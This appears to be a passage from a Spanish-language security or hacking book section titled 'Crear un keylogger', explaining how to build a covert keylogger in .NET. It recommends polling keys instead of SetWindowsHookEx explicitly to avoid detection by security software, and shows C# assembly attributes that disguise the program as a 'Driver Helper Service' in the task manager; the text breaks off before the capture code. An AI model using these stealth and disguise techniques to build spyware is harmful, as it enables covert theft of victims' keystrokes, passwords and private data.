Índice

Crear un keylogger

Existen numerosos keyloggers. La mayoría de ellos usan un sistema muy conocido, el método SetWindowsHookEx, que permite almacenar las teclas pulsadas. Sin embargo, es también lo primero que miran los sistemas de seguridad para impedir la captura del teclado.

Encontrará más información sobre el método SetWindowsHookEx en el sitio web de Microsoft, en la siguiente dirección: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx

Vamos a usar una técnica diferente para ser más discretos. Nuestro programa irá pidiendo regularmente las teclas en vez de suscribirse a los eventos de teclado. El código que presentamos gestiona la tecla pulsada pero no si esta se escribe en mayúsculas, es decir si [Alt] o [Mayús] son pulsadas al mismo tiempo.

1. Principios básicos

Para esconder un poco más la aplicación en el administrador de tareas, vamos a darle un nombre con sus propiedades. Esto se hace por medio de las propiedades de la aplicación.

El nombre dado se parece al de un servicio de driver.

using System.Reflection;  
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyVersion("7.17.13.697")]  
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]

Usaremos en .NET User32.dll, que nos permitirá buscar las informaciones tecleadas ...